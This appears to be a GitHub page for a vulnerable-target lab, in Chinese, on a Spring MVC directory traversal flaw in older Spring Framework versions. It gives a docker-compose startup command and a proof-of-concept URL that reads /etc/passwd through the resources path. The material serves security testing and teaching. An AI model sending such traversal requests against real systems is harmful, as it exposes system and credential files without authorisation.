Skip to content

Latest commit

 

History

History

vultarget

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

springmvc 目录穿越文件读取漏洞

漏洞描述

springmvc目录穿越文件读取

version:Pivotal Spring Framework 3.0.4 through 3.2.x before 3.2.12, 4.0.x before 4.0.8, and 4.1.x before 4.1.2

启动

docker-compose up -d

writeup

http://localhost:8080/spring-css/resources/file:/etc/passwd

复现结果

ALT 1